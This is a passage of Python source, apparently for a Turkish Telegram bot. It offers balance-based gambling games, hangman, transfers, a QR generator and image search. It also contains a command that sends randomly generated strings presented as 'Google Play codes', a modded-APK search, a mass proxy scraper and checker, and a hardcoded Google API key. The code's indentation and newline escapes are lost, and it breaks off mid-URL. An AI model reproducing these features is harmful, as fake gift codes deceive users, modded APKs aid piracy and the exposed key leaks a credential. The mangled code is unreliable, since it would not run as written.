update_balance_o(user_id, -5)
bot.send_message(message.chat.id, f'🎳 • <b>Hiç bowling düşmedi! 5 bakiye kaybettin.</b>nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(get_balance_o(user_id)))}', reply_to_message_id=message.message_id, parse_mode='HTML')
else:
update_balance_o(user_id, bowling_value)
new_balance = get_balance_o(user_id)
bot.send_message(message.chat.id, f'🎳 • <b>Düşen Bowlingler:</b> {bowling_value}nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(new_balance))}', reply_to_message_id=message.message_id, parse_mode='HTML')

@bot.message_handler(commands=['slot'])
@safe_execute
@check_membership
@ban_at
def spin_slot_o(message):
user_id = str(message.from_user.id)
msg = bot.send_dice(message.chat.id, emoji='🎰')
time.sleep(3)
slot_result = msg.dice.value

if slot_result in [1, 22, 43, 64]: # 3 simge aynı
update_balance_o(user_id, 30)
bot.send_message(message.chat.id, f'🎉 <b>3 simge aynı!</b> 15 bakiye kazandın.nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(get_balance_o(user_id)))}', reply_to_message_id=message.message_id, parse_mode='HTML')
elif slot_result in [2, 21, 23, 42, 44, 63]: # 2 simge aynı
update_balance_o(user_id, 10)
bot.send_message(message.chat.id, f'🎉 <b>2 simge aynı!</b> 10 bakiye kazandın.nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(get_balance_o(user_id)))}', reply_to_message_id=message.message_id, parse_mode='HTML')
else: # 3 simge farklı
update_balance_o(user_id, -5)
bot.send_message(message.chat.id, f'😞 <i>Hiçbir simge aynı değil!</i> 5 bakiye kaybettin.nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(get_balance_o(user_id)))}', reply_to_message_id=message.message_id, parse_mode='HTML')

# Kelime listesi
import random
from collections import defaultdict

WORDS_AA = {
"TeknoDroid": "Teknoloji",
"cihan": "İsim",
"python": "Yazılım",
"kodlama": "Yazılım",
"bilgisayar": "Teknoloji",
"yazılım": "Yazılım",
"programlama": "Yazılım",
"internet": "Teknoloji",
"teknoloji": "Teknoloji",
"yapay zeka": "Teknoloji",
"robot": "Teknoloji",
"algoritma": "Yazılım",
"uygulama": "Yazılım",
"web sitesi": "Yazılım",
"veri": "Yazılım",
"bilgi": "Yazılım",
"donanım": "Teknoloji",
"ağ": "Teknoloji",
"güvenlik": "Teknoloji",
"veri tabanı": "Yazılım",
"kod": "Yazılım",
"geliştirme": "Yazılım",
"ağaç": "Doğa",
"rüzgar": "Doğa",
"doğa": "Doğa",
"hayvan": "Doğa",
"bitki": "Doğa",
"yeryüzü": "Doğa",
"hava": "Doğa",
"su": "Doğa",
"güneş": "Doğa",
"ay": "Doğa"
}

# ASCII sanatı
HANGMAN_AA = [
"""
+---+
| |
|
|
|
|
=========""",
"""
+---+
| |
O |
|
|
|
=========""",
"""
+---+
| |
O |
| |
|
|
=========""",
"""
+---+
| |
O |
/| |
|
|
=========""",
"""
+---+
| |
O |
/|\ |
|
|
=========""",
"""
+---+
| |
O |
/|\ |
/ |
|
=========""",
"""
+---+
| |
O |
/|\ |
/ \ |
|
========="""
]

# Oyun için global değişkenler
current_word = ''
current_progress = ''
remaining_attempts = 6
is_game_active = False
used_letters = set()

# Yeni bir oyun başlatma fonksiyonu
@bot.message_handler(commands=['adam_asmaca'])
def start_game(message):
global current_word, current_progress, remaining_attempts, is_game_active, used_letters
user_id = str(message.from_user.id)
current_word = random.choice(list(WORDS_AA.keys()))
current_progress = '_' * len(current_word)
remaining_attempts = 6
is_game_active = True
used_letters = set()
category = WORDS_AA[current_word]
bot.send_message(
message.chat.id,
f"🎮 • <b>Yeni oyun başladı!</b>nn🔤 • Kelime: {current_progress} ({category})nn❤️ • Kalan Haklarınız: {remaining_attempts}n{HANGMAN_AA[0]}",
reply_to_message_id=message.message_id,
parse_mode='HTML'
)

# Oyun durumunu kontrol etme fonksiyonu
def check_game_status(user_id):
global current_word, current_progress, remaining_attempts, is_game_active
if is_game_active:
used_letters_str = ' '.join(f"{letter}" for letter in used_letters)
if '_' not in current_progress:
is_game_active = False
bonus = 10 if current_word in ["TeknoDroid", "cihan"] else 0
update_balance_o(user_id, 100 + bonus)
return f"🎉 • Tebrikler, kelimeyi buldunuz!nn🔤 • Kelime: {current_word}nn💵 • {100 + bonus} bakiye kazandınız!nn🎮 • Yeni oyuna başlamak için /adam_asmaca komutunu kullanabilirsiniz.nn🔤 • Kullanılan Harfler: {used_letters_str}"
elif remaining_attempts == 0:
is_game_active = False
update_balance_o(user_id, -10)
return f"💀 • Adam asıldı.nn🔤 • Doğru Kelime: {current_word}nn💸 • 10 bakiye kaybettiniz.nn🎮 • Yeni oyuna başlamak için /adam_asmaca komutunu kullanabilirsiniz.nn🔤 • Kullanılan Harfler: {used_letters_str}"
else:
return f"🔤 • Kelime: {current_progress}nn❤️ • Kalan Haklarınız: {remaining_attempts}n{HANGMAN_AA[6-remaining_attempts]}nn🔤 • Kullanılan Harfler: {used_letters_str}"
else:
return "Yeni bir oyun başlatmak için /adam_asmaca komutunu kullanabilirsiniz."

# Harf tahmini işleyicisi
@bot.message_handler(func=lambda message: is_game_active and message.text.isalpha())
def guess_letter(message):
global current_word, current_progress, remaining_attempts, used_letters
user_id = str(message.from_user.id)
guess = message.text.lower()

if guess == current_word: # Kullanıcı kelimeyi doğrudan doğruya tahmin ederse
current_progress = current_word
bot.reply_to(message, check_game_status(user_id))
return

if len(guess) == 1: # Kullanıcı tek harf girerse
used_letters.add(guess)
if guess in current_word:
new_progress = ''
for i in range(len(current_word)):
if current_word[i] == guess:
new_progress += guess
else:
new_progress += current_progress[i]
current_progress = new_progress
else:
remaining_attempts -= 1

bot.reply_to(message, check_game_status(user_id))

@bot.message_handler(commands=['yazitura'])
@safe_execute
@check_membership
@ban_at
def yazitura_o(message):
bot.reply_to(message, "Yazı mı Tura mı? /yazi veya /tura komutunu kullanarak seçimini yap.")

@bot.message_handler(commands=['yazi'])
@safe_execute
@check_membership
@ban_at
def yazi_o(message):
user_id = str(message.from_user.id)
result = random.choice(["yazi", "tura"])

if result == "yazi":
photo_path = "yazi.png"
else:
photo_path = "tura.png"

if result == "yazi":
update_balance_o(user_id, 10)
balance_message = f"🎉 <b>Doğru tahmin!</b> 10 bakiye kazandın."
else:
update_balance_o(user_id, -5)
balance_message = f"😞 <i>Yanlış tahmin!</i> 5 bakiye kaybettin."

new_balance = get_balance_o(user_id)
bot.send_photo(message.chat.id, open(photo_path, 'rb'), caption=f"{balance_message}nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(new_balance))}", parse_mode='HTML')

@bot.message_handler(commands=['tura'])
@safe_execute
@check_membership
@ban_at
def tura_o(message):
user_id = str(message.from_user.id)
result = random.choice(["yazi", "tura"])

if result == "yazi":
photo_path = "yazi.png"
else:
photo_path = "tura.png"

if result == "tura":
update_balance_o(user_id, 10)
balance_message = f"🎉 <b>Doğru tahmin!</b> 10 bakiye kazandın."
else:
update_balance_o(user_id, -5)
balance_message = f"😞 <i>Yanlış tahmin!</i> 5 bakiye kaybettin."

new_balance = get_balance_o(user_id)
bot.send_photo(message.chat.id, open(photo_path, 'rb'), caption=f"{balance_message}nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(new_balance))}", parse_mode='HTML')


def update_balance_bonus(user_id, change):
try:
with open('bakiye.txt', 'r') as file:
balances = file.readlines()
except FileNotFoundError:
balances = []

user_balances = {line.split(':')[0]: line.split(':')[1].strip() for line in balances}

if user_id in user_balances:
balance = user_balances[user_id]
user_balances[user_id] = f'{int(balance) + change}'
else:
user_balances[user_id] = f'{change}'

with open('bakiye.txt', 'w') as file:
for uid, balance in user_balances.items():
file.write(f'{uid}:{balance}n')

@bot.message_handler(commands=['bonus'])
@safe_execute
@check_membership
@ban_at
def bonus_o(message):
user_id = str(message.from_user.id)
bonus = random.randint(1, 5)
update_balance_bonus(user_id, bonus)
new_balance = get_balance_o(user_id)
bot.send_message(message.chat.id, f'🎁 • <b>Bonusunuz</b>: {bonus}nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {kalin_serif(str(new_balance))}', reply_to_message_id=message.message_id, parse_mode='HTML')

def get_balance_marker(user_id):
try:
with open('bakiye.txt', 'r') as file:
balances = file.readlines()
except FileNotFoundError:
balances = []

user_balances = {line.split(':')[0]: line.split(':')[1].strip() for line in balances}

if user_id in user_balances:
if ' ' in user_balances[user_id]:
balance, marker = user_balances[user_id].split(' ')
return int(balance), marker
else:
return int(user_balances[user_id]), ''
return 0, ''


def get_top_users(user_id):
try:
with open('bakiye.txt', 'r') as file:
balances = file.readlines()
except FileNotFoundError:
return [], 0

user_balances = {line.split(':')[0]: int(line.split(':')[1].split()[0]) for line in balances}

sorted_balances = sorted(user_balances.items(), key=lambda x: x[1], reverse=True)

top_users = sorted_balances[:10]

user_rank = next((i for i, (uid, _) in enumerate(sorted_balances, 1) if uid == user_id), len(sorted_balances) + 1)

return top_users, user_rank

@bot.message_handler(commands=['rekor'])
@safe_execute
@check_membership
@ban_at
def show_top_users(message):
user_id = str(message.from_user.id)
top_users, user_rank = get_top_users(user_id)

if not top_users:
bot.reply_to(message, "Bakiye bilgisi bulunamadı.")
return

response = "<b>En Yüksek Bakiyeli Kullanıcılar:</b>nn"
for i, (uid, balance) in enumerate(top_users, 1):
response += f"{i}. ≈ <i>ID</i>: {uid} - <i>Bakiye</i>: {balance}n"

response += f"nn<i>Senin Sıran</i> : {user_rank}"

bot.send_message(message.chat.id, response, parse_mode='HTML')

@bot.message_handler(commands=['bahis'])
@safe_execute
@check_membership
@ban_at
def risk_game_o(message):
try:
if message.text.split()[1].lower() == 'all':
bet = get_balance_o(str(message.from_user.id))
else:
bet = int(message.text.split()[1])
except (IndexError, ValueError):
bot.send_message(message.chat.id, "Bu Komutla Bahise Girip Bakiye Arttırabilirsin. Örnek Kullanım: /bahis 100")
return

user_id = str(message.from_user.id)
balance = get_balance_o(user_id)

if bet > balance:
bot.send_message(message.chat.id, f'Bakiyen Yetersiz, Daha Düşük Bir Bakiye Gir Veya /oyun Oynayarak Yükselt.nn🪙 • 𝐒𝐔𝐀𝐍𝐊𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {balance}')
return

if random.random() < 0.45: # %45 kazanma şansı
update_balance_o(user_id, bet)
new_balance = get_balance_o(user_id)
bot.reply_to(message, f"✅ • Tebrikler! {bet} bakiye kazandın.nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {new_balance}")
else: # %55 kaybetme şansı
update_balance_o(user_id, -bet)
new_balance = get_balance_o(user_id)
bot.reply_to(message, f"❌ • Maalesef! {bet} bakiye kaybettin.nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {new_balance}")

@bot.message_handler(commands=['bakiye'])
@safe_execute
@check_membership
@ban_at
def check_balance_o(message):
user_id = str(message.from_user.id)
balance = get_balance_o(user_id)
bot.reply_to(message, f'🪙 • 𝐒𝐔𝐀𝐍𝐊𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {balance}')

@bot.message_handler(commands=['bakiye_aktar'])
@safe_execute
@check_membership
@ban_at
def bakiye_aktar(message):
try:
parts = message.text.split()
target_user_id = parts[1]
amount = int(parts[2])
sender_user_id = str(message.from_user.id)
except (IndexError, ValueError):
bot.send_message(message.chat.id, "Bu Komut İle Karşıdakine Bakiye Atabilirsin. Örnek kullanım: /bakiye_aktar id miktar")
return

sender_balance = get_balance_o(sender_user_id)

if amount > sender_balance:
bot.send_message(message.chat.id, f'Bakiyen yetersiz. nMevcut bakiyen: {sender_balance}')
return

# Aktarma işlemi
update_balance_o(sender_user_id, -amount)
update_balance_o(target_user_id, amount)

sender_new_balance = get_balance_o(sender_user_id)
target_new_balance = get_balance_o(target_user_id)

bot.send_message(message.chat.id, f'✅ • {target_user_id} ID'li kullanıcıya {amount} bakiye aktarıldı.nn💰 • 𝐘𝐄𝐍𝐈 𝐁𝐀𝐊𝐈𝐘𝐄𝐍: {sender_new_balance}')
bot.send_message(message.chat.id, f'✅ • {target_user_id} ID'li kullanıcının yeni bakiyesi: {target_new_balance}')

@bot.message_handler(commands=['b_ekle'])
@sadece_admin
def b_ekle(message):
try:
parts = message.text.split()
user_id = parts[1]
amount = int(parts[2])
except (IndexError, ValueError):
bot.send_message(message.chat.id, "Yanlış kullanım. Doğru kullanım: /b_ekle <user_id> <miktar>")
return

update_balance_o(user_id, amount)
new_balance = get_balance_o(user_id)
bot.send_message(message.chat.id, f'✅ • {user_id} ID'li kullanıcının yeni bakiyesi: {new_balance}')

@bot.message_handler(commands=['b_sil'])
@sadece_admin
def b_sil(message):
try:
parts = message.text.split()
user_id = parts[1]
amount = int(parts[2])
except (IndexError, ValueError):
bot.send_message(message.chat.id, "Yanlış kullanım. Doğru kullanım: /b_sil <user_id> <miktar>")
return

update_balance_o(user_id, -amount)
new_balance = get_balance_o(user_id)
bot.send_message(message.chat.id, f'✅ • {user_id} ID'li kullanıcının yeni bakiyesi: {new_balance}')



#Play Kod Üret Komut
# Random play kodu üretme fonksiyonu
def generate_random_play_code():
characters = 'ABCDEFGHIJKLMNOPRSTEUVYZ1234567890'
separator = '-'
code_parts = [''.join(random.choice(characters) for _ in range(4)) for _ in range(5)]
return separator.join(code_parts)

# /playkod komutu: belirtilen sayıda random play kodu üretir
@bot.message_handler(commands=['playkod'])
@safe_execute
@check_membership
@ban_at
def generate_play_codes(message):
user_chat_id = message.chat.id
message_text = message.text.split()

if len(message_text) == 1:
response_message = ("Play kodları üretebilmek için önce /playkod komutunu yazın ve ardından kaç tane üretmek istediğinizi girin.n"
"Örnek kullanım:n"
"/playkod 3n"
"Bu komut 3 adet play kodu üretir.")
bot.send_message(chat_id=user_chat_id, text=response_message)
elif len(message_text) == 2 and message_text[1].isdigit():
requested_code_count = int(message_text[1])
if requested_code_count > 130:
with open('kullanicilar.txt', 'r+') as f:
lines = f.readlines()
user_line_prefix = f"x) {user_chat_id};"
user_lines = [line for line in lines if user_line_prefix in line]
if user_lines:
ban_date = datetime.datetime.now() + datetime.timedelta(days=60)
ban_date_str = ban_date.strftime('%Y-%m-%d')
new_lines = [line if user_line_prefix not in line else f"x) {user_chat_id};{ban_date_str}n" for line in lines]
f.seek(0)
f.truncate()
f.writelines(new_lines)
bot.send_message(user_chat_id, "Daha önce uyarıldınız ve yine limiti aştınız. 2 ay boyunca bu botu kullanamazsınız.")
return
else:
f.write(f"x) {user_chat_id};n")
bot.send_message(user_chat_id, "Tek seferde en fazla 130 play kodu üretebilirsiniz. Eğer tekrar aşarsanız, botu 2 ay boyunca kullanamayacaksınız.")
return

# Mevcut play kodları dosyasından kodları oku
with open('playkod.txt', 'r') as f:
current_codes = f.read().splitlines()

# Eğer mevcut kodlar yeterliyse, istenilen kadarını al; değilse yeni kodlar oluştur
generated_codes = []
index = 0
while len(generated_codes) < min(requested_code_count, len(current_codes)):
generated_codes.append(current_codes[index])
index += 1

# Eksik kodları oluştur
remaining_code_count = requested_code_count - len(generated_codes)
for _ in range(remaining_code_count):
generated_codes.append(generate_random_play_code())

# Markdown formatında cevap mesajı oluştur
response_message = "Üretilen Google Play Kodları:nn" + "n".join([f"`{code}`" for code in generated_codes])
bot.send_message(chat_id=user_chat_id, text=response_message, parse_mode='Markdown')
else:
bot.send_message(chat_id=user_chat_id, text="Hatalı kullanım. Lütfen /playkod [sayı] formatını kullanın.")

# /playkod_ekle komutu: play kodu ekler (yöneticiye özel)
@bot.message_handler(commands=['playkod_ekle'])
@safe_execute

def add_play_code(message):
user_chat_id = message.chat.id
message_text = message.text.split(maxsplit=1)

if len(message_text) == 2:
codes = message_text[1].replace("n", " ").split()
with open('playkod.txt', 'a') as f:
for code in codes:
f.write(f"{code}n")
bot.send_message(chat_id=user_chat_id, text=f"{len(codes)} kod eklendi.")
else:
bot.send_message(chat_id=user_chat_id, text="Hatalı kullanım. Lütfen /playkod_ekle [kod1] [kod2] ... formatını kullanın.")

# /playkod_sil komutu: play kodu siler (yöneticiye özel)
@bot.message_handler(commands=['playkod_sil'])
@safe_execute
def delete_play_code(message):
user_chat_id = message.chat.id
message_text = message.text.split(maxsplit=1)

if len(message_text) == 2:
codes = message_text[1].replace("n", " ").split()
with open('playkod.txt', 'r') as f:
current_codes = f.readlines()

deleted_codes = []
remaining_codes = []
for code in current_codes:
if code.strip() in codes:
deleted_codes.append(code.strip())
else:
remaining_codes.append(code)

with open('playkod.txt', 'w') as f:
f.writelines(remaining_codes)

bot.send_message(chat_id=user_chat_id, text=f"{len(deleted_codes)} kod silindi.")
else:
bot.send_message(chat_id=user_chat_id, text="Hatalı kullanım. Lütfen /playkod_sil [kod1] [kod2] ... formatını kullanın.")

#Premium Apk Komut
# Google Custom Search API anahtarınızı ve arama motoru kimliğinizi buraya yazın
API_KEY_PRE = 'AIzaSyC4pac0gU1cvOKf8HHZjpBNy8xqfx8iKFI'
SEARCH_ENGINE_ID = '92ae0d76e3289442e'
GOOGLE_CUSTOM_SEARCH_URL = "https://www.googleapis.com/customsearch/v1"

@bot.message_handler(commands=["premium_apk"])
@safe_execute
@check_membership
@ban_at
def search_apk(message):
user_input = message.text.replace("/premium_apk", "").strip()

if not user_input:
response_message = ("Bu Komut Sayesinde İstediğin APK'nın Modlu Halini Virüs Olmadan Bulabilirsin.n"
"Örnek Kullanım:nn"
"/premium_apk Youtube Premium Apknn"
"Yukardaki Komut İle Google'daki Youtube Premium APK Dosyalarını Sana Atarım.")
bot.send_message(message.chat.id, response_message)
return

search_params = {
"key": API_KEY_PRE,
"cx": SEARCH_ENGINE_ID,
"q": f"{user_input} apk",
"num": 5
}
response = requests.get(GOOGLE_CUSTOM_SEARCH_URL, params=search_params)
search_results = response.json().get("items", [])

if search_results:
response_message = f"{user_input} İçin APK Sonuçları:nn"
for result in search_results:
response_message += f"{result.get('title')}: {result.get('link')}nn"
else:
response_message = f"{user_input} için APK sonuçları bulunamadı."

bot.send_message(message.chat.id, response_message)

#Proxy Üret Komut
# Proxy üretici sınıfı
class PROXYS_API:
def __init__(self):
self.listProxys = []
self.theards = []
self.ProxyScrapeAPI()

def SAVE_FAILS(self):
with open('NewProxy.txt', 'w') as f:
for ip in self.listProxys:
f.write(f'{ip}n')

def OpenProxyAPI(self):
try:
prx3 = requests.get('https://openproxy.space/list/http').text
self.extract_proxies(prx3, 'CN')
self.extract_proxies(prx3, 'US')
self.extract_proxies(prx3, 'ID')
self.extract_proxies(prx3, 'CA')
self.extract_proxies(prx3, 'RU')
except requests.exceptions.ConnectTimeout:
pass
self.SAVE_FAILS()

def extract_proxies(self, prx3, code):
try:
for PRXS in prx3.split(f'code:"{code}"')[1].split('items:[')[1].split('],active')[0].split(','):
s = PRXS.split('"')[1].split('"')[0]
if str(s) not in self.listProxys:
self.listProxys.append(s)
try:
self.listProxys.remove('')
except ValueError:
pass
except IndexError:
pass

def GeonodeProxyAPI(self):
try:
prx6 = requests.get(
'https://proxylist.geonode.com/api/proxy-list?limit=350&page=1&sort_by=lastChecked&sort_type=desc',
headers={
"Origin": "https://geonode.com",
"Host": "proxylist.geonode.com",
"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1",
"Connection": "keep-alive",
"Referer": "https://geonode.com/free-proxy-list",
"Accept-Language": "ar",
"Accept": "application/json, text/plain, */*"
})
if 'ip' in prx6.text:
for i in range(300):
ip = prx6.json()['data'][i]['ip'] + ':' + prx6.json()['data'][i]['port']
if str(ip) not in self.listProxys:
self.listProxys.append(ip)
try:
self.listProxys.remove('')
except ValueError:
pass
except requests.exceptions.ConnectTimeout:
pass
self.OpenProxyAPI()

def GithubProxyAPI(self):
try:
for prx5 in requests.get('https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt').text.split('n'):
if str(prx5) not in self.listProxys:
self.listProxys.append(prx5)
try:
self.listProxys.remove('')
except ValueError:
pass
except requests.exceptions.ConnectTimeout:
pass
try:
for prx2 in requests.get('https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt').text.split("n"):
if str(prx2) not in self.listProxys:
self.listProxys.append(prx2)
try:
self.listProxys.remove('')
except ValueError:
pass
except requests.exceptions.ConnectTimeout:
pass
self.GeonodeProxyAPI()

def ProxyScrapeAPI(self):
try:
for prx in requests.get(
f"https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout={random.choice(['5', '2', '3', '4', '6'])}0000&country=all&ssl=all&anonymity=all&simplified=true").text.split(
"rn"):
self.listProxys.append(prx)
try:
self.listProxys.remove('')
except ValueError:
pass
except requests.exceptions.ConnectTimeout:
pass
try:
for PRXS in requests.get('https://free-proxy-list.net/').text.split('onclick="select(this)">Free proxies from free-proxy-list.net')[1].split(
'UTC.')[1].split('</textarea>')[0].split('n'):
if str(PRXS) not in self.listProxys:
self.listProxys.append(PRXS)
try:
self.listProxys.remove('')
except ValueError:
pass
except requests.exceptions.ConnectTimeout:
pass
self.GithubProxyAPI()

# Proxy kontrolcü sınıfı
class Check_Proxy:
def __init__(self, modes='QTR'):
self.listProxys = []
self.theards = []
self.START = True
self.modes = modes
self.BAD = 0
self.successful = 0
self.cont = 0
self.TRT = 150
self.URLS = 'https://vv1ck.github.io/home'
self.FEILS()

def CLOESD_CHECK(self):
self.START = False
sleep(10)

def CheckProxys(self):
while self.START:
if self.cont == len(self.listProxys):
self.CLOESD_CHECK()
else:
try:
IPS = self.listProxys[self.cont]
session = requests.Session()
retries = Retry(total=5, backoff_factor=0.1, status_forcelist=[500, 502, 503, 504])
session.mount('http://', HTTPAdapter(max_retries=retries))
session.mount('https://', HTTPAdapter(max_retries=retries))
CK = session.get(self.URLS, headers={
"Connection": "keep-alive",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en",
"User-Agent": generate_user_agent(),
"Accept": "*/*"
}, proxies={"http": f"http://{IPS}", "https": f"http://{IPS}"}, timeout=10)
if CK.status_code == 429:
self.BAD += 1
else:
self.successful += 1
with open('PROXYS_Checked.txt', 'a') as J:
J.write(f'{IPS}n')
except IndexError:
self.CLOESD_CHECK()
except KeyboardInterrupt:
self.CLOESD_CHECK()
except requests.exceptions.ConnectionError:
self.BAD += 1
except requests.exceptions.ReadTimeout:
self.BAD += 1
except requests.exceptions.ChunkedEncodingError:
self.BAD += 1
self.cont += 1

def Threads(self):
for i in range(self.TRT):
trts = Thread(target=self.CheckProxys)
trts.start()
self.theards.append(trts)
for trts2 in self.theards:
trts2.join()

def FEILS(self):
if self.modes == 'QTR':
try:
for PRX in open('NewProxy.txt', 'r').read().splitlines():
self.listProxys.append(PRX)
except FileNotFoundError:
pass
else:
pass
if len(self.listProxys) >= 500:
self.TRT = 250
else:
self.TRT = 150
self.Threads()


# Bot komutu /proxy
@bot.message_handler(commands=['proxy'])

@safe_execute
@check_membership
@ban_at
def send_proxies_bot(message):
# Geçici mesaj gönderme
temp_msg = bot.reply_to(message, "Biraz Bekle Dostum Sana Aktif Proxy Buluyorum...nnBu İşlem 10 Dakika Kadar Sürebilir")

# Proxy üretimi ve kontrolü
proxy_gen = PROXYS_API()
proxy_checker = Check_Proxy()

# Dosyayı yeniden adlandırma
os.rename('PROXYS_Checked.txt', 'CVARB_PROXY.txt')

# Proxy sayısını öğrenme
with open('CVARB_PROXY.txt', 'r') as f:
proxies = f.readlines()
proxy_count = len(proxies)

# Proxy dosyasını gönderme
with open('CVARB_PROXY.txt', 'rb') as f:
bot.send_document(message.chat.id, f)

# Bilgilendirici mesaj gönderme
bot.send_message(message.chat.id, f"Bu Dosyada Toplam {proxy_count} Tane Proxy Var, Hepsi Checklendi Ve DenendinnBY; CVarb AI Bot")

# Geçici mesajı silme
bot.delete_message(message.chat.id, temp_msg.message_id)

#QR Code Oluştur Komut
def generate_qr(message):
try:
text = message.text.split(' ', 1)[1] # Kullanıcıdan gelen metni al
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=10,
border=4,
)
qr.add_data(text)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white").convert('RGB')

# Geçici bir dosya adı oluştur
temp_file = f"temp_{message.chat.id}.png"
img.save(temp_file)

# QR kodunu kullanıcıya gönder
with open(temp_file, 'rb') as qr_file:
bot.send_photo(message.chat.id, qr_file)

# Dosyayı gönderdikten sonra sil
os.remove(temp_file)
except IndexError:
bot.send_message(message.chat.id, 'Bu komut QR kodu oluşturmak için kullanılır. Örnek kullanım:n/qr www.google.comnBu komut Google sitesinin QR kodunu verir.')

# /qr komutunu dinleyen fonksiyon
@bot.message_handler(commands=['qr'])
@safe_execute
@check_membership
@ban_at
def handle_qr_command(message):
generate_qr(message)

#Resim Üret Komut
def pinterest_resim_ara(keyword, num_images):
url = f'https://api.pinterest.com/v3/search/pins/?rs=rs&asterix=true&term_meta=%5B%D9%87%D8%A7%D9%8A%D9%84%D8%A7%D8%AA%7Crs%7C0%5D&query={keyword}&link_header=6&etslf=13831&video_autoplay_disabled=0&dynamic_grid_stories=6&fields=storypinvideoblock.%7Bblock_type%2Cvideo_signature%2Cblock_style%2Cvideo%5BV_HLSV3_MOBILE%2C%20V_DASH_HEVC%2C%20V_HEVC_MP4_T1_V2%2C%20V_HEVC_MP4_T2_V2%2C%20V_HEVC_MP4_T3_V2%2C%20V_HEVC_MP4_T4_V2%2C%20V_HEVC_MP4_T5_V2%5D%2Ctype%7D%2Cstorypinimageblock.%7Bimage_signature%2Cblock_type%2Cblock_style%2Ctype%7D%2Clinkblock.%7Bimage_signature%2Csrc_url%2Cnormalized_url%2Cblock_type%2Cimage%5B345x%5D%2Ctext%2Ctype%2Ccanonical_url%7D%2Ccreatorclass.%7Bcreator%28%29%2Csoonest_upcoming_instance%2Chero_video%28%29%2Clivestream%28%29%2Chero_images%5B345x%2C750x%2C1125x%5D%2Cis_viewing_user_subscribed%2Cid%2Ctitle%2Ctype%2Clive_status%7D%2Cdomain.%7Bofficial_user%28%29%7D%2Cstorypindata.%7Bhas_affiliate_products%2Cstatic_page_count%2Cpages_preview%2Cmetadata%28%29%2Cpage_count%2Chas_product_pins%2Ctotal_video_duration%7D%2Cstorypinpage.%7Blayout%2Cimage_signature%2Cvideo_signature%2Cblocks%2Cimage_signature_adjusted%2Cvideo%5BV_HLSV3_MOBILE%2C%20V_DASH_HEVC%2C%20V_HEVC_MP4_T1_V2%2C%20V_HEVC_MP4_T2_V2%2C%20V_HEVC_MP4_T3_V2%2C%20V_HEVC_MP4_T4_V2%2C%20V_HEVC_MP4_T5_V2%5D%2Cstyle%2Cid%2Ctype%2Cmusic_attributions%2Cshould_mute%7D%2Cpincarouseldata.%7Bindex%2Cid%2Ccarousel_slots%7D%2Cpincarouselslot.%7Bdomain%2Candroid_deep_link%2Clink%2Cdetails%2Cimages%5B345x%2C750x%5D%2Cid%2Cad_destination_url%2Ctitle%2Crich_metadata%7D%2Cexplorearticle.%7Bshow_cover%2Ccover_positions%28%29%2Ccover_shuffle_assets%28%29%2Caux_fields%2Ctype%2Ctitle%2Cdominant_colors%2Ccontent_type%2Ccurator%28%29%2Cstory_category%2Cvideo_cover_pin%28%29%2Csubtitle%2Caction%2Cid%7D%2Cpin.%7Bcomment_count%2Cis_eligible_for_related_products%2Cshopping_flags%2Cpinner%28%29%2Cpromoted_is_lead_ad%2Cad_match_reason%2Cdestination_url_type%2Cpromoted_quiz_pin_data%2Cpromoted_is_showcase%2Ctype%2Ccarousel_data%28%29%2Cimage_crop%2Cstory_pin_data_id%2Ccall_to_create_responses_count%2Cpromoted_is_removable%2Cauto_alt_text%2Cid%2Cad_destination_url%2Cembed%2Cad_group_id%2Crich_summary%28%29%2Cgrid_title%2Cnative_creator%28%29%2Cinsertion_id%2Ccacheable_id%2Csource_interest%28%29%2Cis_native%2Cis_full_width%2Chas_variants%2Cis_premiere%2Cis_eligible_for_web_closeup%2Cpromoted_is_quiz%2Cdone_by_me%2Ccloseup_description%2Ccreative_enhancement_slideshow_aspect_ratio%2Cpromoted_android_deep_link%2Cis_oos_product%2Cis_video%2Creaction_by_me%2Cdominant_color%2Cvirtual_try_on_type%2Cdomain%2Cis_eligible_for_pdp_plus%2Ccall_to_action_text%2Cis_stale_product%2Clink_domain%28%29%2Cmusic_attributions%2Cshopping_mdl_browser_type%2Cis_promoted%2Cad_data%28%29%2Crecommendation_reason%2Cad_targeting_attribution%28%29%2Clink%2Csponsorship%2Cis_unsafe%2Cis_hidden%2Cdescription%2Ccreated_at%2Ctitle%2Cis_cpc_ad%2Cis_scene%2Cimage_signature%2Ctotal_reaction_count%2Cpromoted_is_max_video%2Ctracking_params%2Calt_text%2Cpromoted_lead_form%28%29%2Ccreator_class_instance%28%29%2Cis_eligible_for_pdp%2Cis_unsafe_for_comments%2Ccreator_class%28%29%2Cis_call_to_create%2Cip_eligible_for_stela%2Cdark_profile_link%2Cvia_pinner%2Cis_downstream_promotion%2Cpromoter%28%29%2Creaction_counts%2Cshould_open_in_stream%2Caggregated_pin_data%28%29%2Cis_repin%2Cvideos%28%29%2Ctop_interest%2Ccategory%2Cstory_pin_data%28%29%2Cshould_mute%2Cboard%28%